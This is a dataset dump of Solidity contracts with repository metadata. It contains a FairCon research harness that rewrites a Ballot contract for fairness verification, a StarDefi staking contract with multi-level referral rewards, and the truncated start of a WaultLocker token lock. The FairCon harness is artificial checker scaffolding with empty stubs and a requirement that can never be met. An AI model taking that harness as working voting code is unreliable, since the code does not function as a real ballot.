hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2fb20725e2a66e555ebae43ac3414a4fe3e7644210e3adfad721414f2eead5fc
| 14,963 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/dataset-fse2020-log/voting-R/efficient/Ballot.sol
| 3,969 | 14,835 |
pragma solidity >=0.4.22 <0.7.0;
// /// @title Voting with delegation.
// contract Ballot {
// // This declares a new complex type which will
// // be used for variables later.
// // It will represent a single voter.
// struct Voter {
// uint weight; // weight is accumulated by delegation
// bool voted; // if true, that person already voted
// address delegate; // person delegated to
// uint vote; // index of the voted proposal
// }
// // This is a type for a single proposal.
// struct Proposal {
// bytes32 name; // short name (up to 32 bytes)
// uint voteCount; // number of accumulated votes
// }
// address public chairperson;
// // This declares a state variable that
// // stores a `Voter` struct for each possible address.
// mapping(address => Voter) public voters;
// // A dynamically-sized array of `Proposal` structs.
// Proposal[] public proposals;
// /// Create a new ballot to choose one of `proposalNames`.
// constructor(bytes32[] memory proposalNames) public {
// chairperson = msg.sender;
// voters[chairperson].weight = 1;
// // For each of the provided proposal names,
// // create a new proposal object and add it
// // to the end of the array.
// for (uint i = 0; i < proposalNames.length; i++) {
// // `Proposal({...})` creates a temporary
// // Proposal object and `proposals.push(...)`
// // appends it to the end of `proposals`.
// proposals.push(Proposal({
// name: proposalNames[i],
// voteCount: 0
// }));
// }
// }
// // Give `voter` the right to vote on this ballot.
// // May only be called by `chairperson`.
// function giveRightToVote(address voter) public {
// // If the first argument of `require` evaluates
// // to `false`, execution terminates and all
// // changes to the state and to Ether balances
// // are reverted.
// // This used to consume all gas in old EVM versions, but
// // not anymore.
// // It is often a good idea to use `require` to check if
// // functions are called correctly.
// // As a second argument, you can also provide an
// // explanation about what went wrong.
// require(// msg.sender == chairperson,
// "Only chairperson can give right to vote."
//);
// require(// !voters[voter].voted,
// "The voter already voted."
//);
// require(voters[voter].weight == 0);
// voters[voter].weight = 1;
// }
// /// Delegate your vote to the voter `to`.
// function delegate(address to) public {
// // assigns reference
// Voter storage sender = voters[msg.sender];
// require(!sender.voted, "You already voted.");
// require(to != msg.sender, "Self-delegation is disallowed.");
// // Forward the delegation as long as
// // `to` also delegated.
// // In general, such loops are very dangerous,
// // because if they run too long, they might
// // need more gas than is available in a block.
// // In this case, the delegation will not be executed,
// // but in other situations, such loops might
// // cause a contract to get "stuck" completely.
// while (voters[to].delegate != address(0)) {
// to = voters[to].delegate;
// // We found a loop in the delegation, not allowed.
// require(to != msg.sender, "Found loop in delegation.");
// }
// // Since `sender` is a reference, this
// // modifies `voters[msg.sender].voted`
// sender.voted = true;
// sender.delegate = to;
// Voter storage delegate_ = voters[to];
// if (delegate_.voted) {
// // If the delegate already voted,
// // directly add to the number of votes
// proposals[delegate_.vote].voteCount += sender.weight;
// } else {
// // If the delegate did not vote yet,
// // add to her weight.
// delegate_.weight += sender.weight;
// }
// }
// /// Give your vote (including votes delegated to you)
// /// to proposal `proposals[proposal].name`.
// function vote(uint proposal) public {
// Voter storage sender = voters[msg.sender];
// require(sender.weight != 0, "Has no right to vote");
// require(!sender.voted, "Already voted.");
// sender.voted = true;
// sender.vote = proposal;
// // If `proposal` is out of the range of the array,
// // this will throw automatically and revert all
// // changes.
// proposals[proposal].voteCount += sender.weight;
// }
// /// @dev Computes the winning proposal taking all
// /// previous votes into account.
// function winningProposal() public view
// returns (uint winningProposal_)
// {
// uint winningVoteCount = 0;
// for (uint p = 0; p < proposals.length; p++) {
// if (proposals[p].voteCount > winningVoteCount) {
// winningVoteCount = proposals[p].voteCount;
// winningProposal_ = p;
// }
// }
// }
// // Calls winningProposal() function to get the index
// // of the winner contained in the proposals array and then
// // returns the name of the winner
// function winnerName() public view
// returns (bytes32 winnerName_)
// {
// winnerName_ = proposals[winningProposal()].name;
// }
// }
contract Rewrite{
// This declares a new complex type which will
// be used for variables later.
// It will represent a single voter.
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
address delegate; // person delegated to
uint vote; // index of the voted proposal
}
// This is a type for a single proposal.
struct Proposal {
bytes32 name; // short name (up to 32 bytes)
uint voteCount; // number of accumulated votes
}
address public chairperson;
// This declares a state variable that
// stores a `Voter` struct for each possible address.
mapping(address => Voter) public voters;
// A dynamically-sized array of `Proposal` structs.
Proposal[] public proposals;
function newProposal(uint numOfProposal) public {
proposals.length = numOfProposal;
}
function vote(address msg_sender, uint proposal) public {
// Voter storage sender = voters[msg_sender];
require(voters[msg_sender].weight != 0);
require(voters[msg_sender].voted == false);
voters[msg_sender].voted = true;
voters[msg_sender].vote = proposal;
// If `proposal` is out of the range of the array,
// this will throw automatically and revert all
// changes.
proposals[proposal].voteCount = proposals[proposal].voteCount + voters[msg_sender].weight;
}
function winningProposal() public view
returns (uint winningProposal_)
{
uint winningVoteCount = 0;
for (uint p = 0; p < proposals.length; p++) {
if (proposals[p].voteCount > winningVoteCount) {
winningVoteCount = proposals[p].voteCount;
winningProposal_ = p;
}
}
return winningProposal_;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, bool a, bool b) public view {}
function sse_collusion_violate_check(uint u12, bool v1, bool v_1, bool v2, bool v_2) public view{}
function sse_efficient_expectation_register(bool allocation, bool other_allocation, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, bool allocation, bool other_allocation) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, bool p1, uint p1_value, uint p1_rv_value, bool msg_value1,
address payable msg_sender2, bool p2, uint p2_value, uint p2_rv_value, bool msg_value2,
address payable msg_sender3, bool p3, uint p3_value, uint p3_rv_value, bool msg_value3,
address payable msg_sender4, bool p4, uint p4_value, uint p4_rv_value, bool msg_value4,
address payable msg_sender5, bool p5, uint p5_value, uint p5_rv_value, bool msg_value5) public {
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(!(msg_sender1==msg_sender4 || msg_sender2 == msg_sender4 || msg_sender3 == msg_sender4));
require(!(msg_sender1==msg_sender5 || msg_sender2 == msg_sender5 || msg_sender3 == msg_sender5));
require(!(msg_sender4==msg_sender5));
require(p1_value > p1_rv_value && p1_rv_value > 0);
require(p2_value > p2_rv_value && p2_rv_value > 0);
require(p3_value > p3_rv_value && p3_rv_value > 0);
require(p4_value > p4_rv_value && p4_rv_value > 0);
require(p5_value > p5_rv_value && p5_rv_value > 0);
uint winner;
require(winner==100);
require(voters[msg_sender1].weight == 1);
require(voters[msg_sender2].weight == 1);
require(voters[msg_sender3].weight == 1);
require(voters[msg_sender4].weight == 1);
require(voters[msg_sender5].weight == 1);
require(voters[msg_sender1].voted == false);
require(voters[msg_sender2].voted == false);
require(voters[msg_sender3].voted == false);
require(voters[msg_sender4].voted == false);
require(voters[msg_sender5].voted == false);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
// require(msg_value1!=p1);
// require(msg_value2==p2);
// require(msg_value3==p3);
// require(msg_value4==p4);
// require(msg_value5==p5);
// new proposal first
newProposal(2);
require(proposals[0].voteCount == 0);
require(proposals[1].voteCount == 0);
// votes
if (msg_value1==false)
vote(msg_sender1, 0);
else
vote(msg_sender1, 1);
if (msg_value2==false)
vote(msg_sender2, 0);
else
vote(msg_sender2, 1);
if (msg_value3==false)
vote(msg_sender3, 0);
else
vote(msg_sender3, 1);
if (msg_value4==false)
vote(msg_sender4, 0);
else
vote(msg_sender4, 1);
if (msg_value5==false)
vote(msg_sender5, 0);
else
vote(msg_sender5, 1);
//execute Proposal
winner = winningProposal();
uint g_false;
require(g_false==0);
if ((winner==1) == msg_value1){
if (msg_value1 == p1){
utilities[msg_sender1] = p1_value;
}else{
utilities[msg_sender1] = p1_rv_value;
}
}else{
if (msg_value1 == p1){
g_false = g_false + p1_value;
}else{
g_false = g_false + p1_rv_value;
}
}
if ((winner==1) == msg_value2){
if (msg_value2 == p2){
utilities[msg_sender2] = p2_value;
}else{
utilities[msg_sender2] = p2_rv_value;
}
}else{
if (msg_value2 == p2){
g_false = g_false + p2_value;
}else{
g_false = g_false + p2_rv_value;
}
}
if ((winner==1) == msg_value3){
if (msg_value3 == p3){
utilities[msg_sender3] = p3_value;
}else{
utilities[msg_sender3] = p3_rv_value;
}
}else{
if (msg_value3 == p3){
g_false = g_false + p3_value;
}else{
g_false = g_false + p3_rv_value;
}
}
if ((winner==1) == msg_value4){
if (msg_value4 == p4){
utilities[msg_sender4] = p4_value;
}else{
utilities[msg_sender4] = p4_rv_value;
}
}else{
if (msg_value4 == p4){
g_false = g_false + p4_value;
}else{
g_false = g_false + p4_rv_value;
}
}
if ((winner==1) == msg_value5){
if (msg_value5 == p5){
utilities[msg_sender5] = p5_value;
}else{
utilities[msg_sender5] = p5_rv_value;
}
}else{
if (msg_value5 == p5){
g_false = g_false + p5_value;
}else{
g_false = g_false + p5_rv_value;
}
}
sse_utility(utilities[msg_sender1]);
sse_utility(utilities[msg_sender2]);
sse_utility(utilities[msg_sender3]);
sse_utility(utilities[msg_sender4]);
sse_utility(utilities[msg_sender5]);
sse_efficient_expectation_register((winner==1), !(winner==1), g_false);
sse_efficient_violate_check(utilities[msg_sender1] +
utilities[msg_sender2] + utilities[msg_sender3] +
utilities[msg_sender4] + utilities[msg_sender5],
(winner==1), !(winner==1));
}
}
| 242,241 | 12,000 |
a14521a92b20e8b5ced94149add1a3ec51354c3d012e7e64e8f5f4f1bbb87aea
| 17,108 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSpJciZTtSTm5bhbw3Zmm6HRvNn6UAfdqd_StarDefi.sol
| 4,184 | 16,288 |
//SourceUnit: StarDefi.sol
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public pledge; // Stake Token address
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(IERC20 _pledge) public {
pledge = _pledge;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
pledge.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
pledge.safeTransfer(msg.sender, amount);
}
}
contract StarDefi is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public mine;
uint256 public constant DURATION = 60 days;
uint256 public starttime;
uint256 public periodFinish;
uint256 public rewardRate;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public validAmount;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => address) public referralRelationships; // store referall relationship: referree > referrer
mapping(address => uint256) public referralRewards;
mapping(address => uint256) private _teamCount;
mapping(address => uint256) public directCount;
mapping(address => uint256) private _teamAmount;
uint256[] awardLevel = [50,20,10,4,4,4,4,4];
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(IERC20 _pledge, IERC20 _mine, uint _starttime,uint256 _validAmount) public LPTokenWrapper(_pledge) {
starttime = _starttime;
mine = _mine;
validAmount = _validAmount * 1e6;
}
function teamCount(address _addr) public view returns(uint256) {
return _teamCount[_addr].add(1);
}
function teamAmount(address _addr) public view returns(uint256) {
return _teamAmount[_addr].add(balanceOf(_addr));
}
function _updateReferralRelationship(address user, address referrer, uint256 amount) internal {
if (referrer == user) { // referrer cannot be user himself/herself
return;
}
if (referrer == address(0)) { // Cannot be address 0
return;
}
if(referralRelationships[user] == address(0)) {
referralRelationships[user] = referrer;
} else {
referrer = referralRelationships[user];
}
// teamAmount[user] = teamAmount[user].add(amount);
address parent = referrer;
for (uint256 i = 0; i < 8; i++) {
if(parent != address(0)) {
_teamAmount[parent] = _teamAmount[parent].add(amount);
parent = referralRelationships[parent];
} else {
break;
}
}
if(balanceOf(user) >= validAmount) {
directCount[referrer] = directCount[referrer].add(1);
parent = referrer;
for (uint256 i = 0; i < 8; i++) {
if(parent != address(0)) {
_teamCount[parent] = _teamCount[parent].add(1);
parent = referralRelationships[parent];
} else {
break;
}
}
}
}
function _reducePerentPerformance(address user,uint256 amount) internal {
address parent = referralRelationships[user];
for (uint256 i = 0; i < 8; i++) {
if(parent != address(0)) {
_teamAmount[parent] = _teamAmount[parent].sub(amount);
parent = referralRelationships[parent];
} else {
break;
}
}
}
function getReferrer(address account) public view returns (address) {
return referralRelationships[account];
}
function getReferralRewards(address account) public view returns (uint256) {
return referralRewards[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function deposit(uint256 amount, address referrer) public updateReward(msg.sender) checkStart{
require(amount > 0, "Cannot stake 0");
require(block.timestamp < periodFinish, "mint finish");
super.stake(amount);
_updateReferralRelationship(msg.sender, referrer, amount); //only update referrer when staking
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart{
require(amount > 0, "Cannot withdraw 0");
uint256 beforeBalance = balanceOf(msg.sender);
super.withdraw(amount);
if(beforeBalance >= validAmount && balanceOf(msg.sender) < validAmount) {
address parent = referralRelationships[msg.sender];
directCount[parent] = directCount[parent].sub(1);
for (uint256 i = 0; i < 8; i++) {
if(parent != address(0)) {
_teamCount[parent] = _teamCount[parent].sub(1);
parent = referralRelationships[parent];
} else {
break;
}
}
}
_reducePerentPerformance(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public updateReward(msg.sender) checkStart{
require(block.timestamp > periodFinish, "mint not finish");
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
safeMineTransfer(msg.sender, reward);
address referrer = referralRelationships[msg.sender];
for(uint i = 0; i < 8; i++) {
if(referrer != address(0)) {
if(directCount[referrer] > i && balanceOf(referrer) >= validAmount) {
uint256 referrerFee = reward.mul(awardLevel[i]).div(100);
referralRewards[referrer] = referralRewards[referrer].add(referrerFee);
safeMineTransfer(referrer, referrerFee);
}
referrer = referralRelationships[referrer];
} else {
break;
}
}
emit RewardPaid(msg.sender, reward);
}
}
function safeMineTransfer(address _to, uint256 _amount) internal {
uint256 mineBalance = mine.balanceOf(address(this));
if(_amount > mineBalance) {
mine.safeTransfer(_to, mineBalance);
} else {
mine.safeTransfer(_to, _amount);
}
}
modifier checkStart(){
require(block.timestamp > starttime,"not start");
_;
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
lastUpdateTime = starttime;
periodFinish = starttime.add(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
}
emit RewardAdded(reward);
}
}
| 286,627 | 12,001 |
86df84786f87b962c6ca162571fb4d80cdafccc40d0753c1f2e3003e5ddfcd7f
| 31,311 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xDF5B0ec59424755096b8C1440BD254f3cb50CBd1/contract.sol
| 4,312 | 16,720 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract WaultLocker is Ownable{
using SafeMath for uint256;
struct Items {
IERC20 token;
address withdrawer;
uint256 amount;
uint256 unlockTimestamp;
bool withdrawn;
uint256 taxPermille;
bool isCustom;
bool deposited;
}
uint256 public depositsCount;
mapping (address => uint256[]) public depositsByWithdrawerAddress;
mapping (address => uint256[]) public depositsByTokenAddress;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
uint256 public taxPermille = 2;
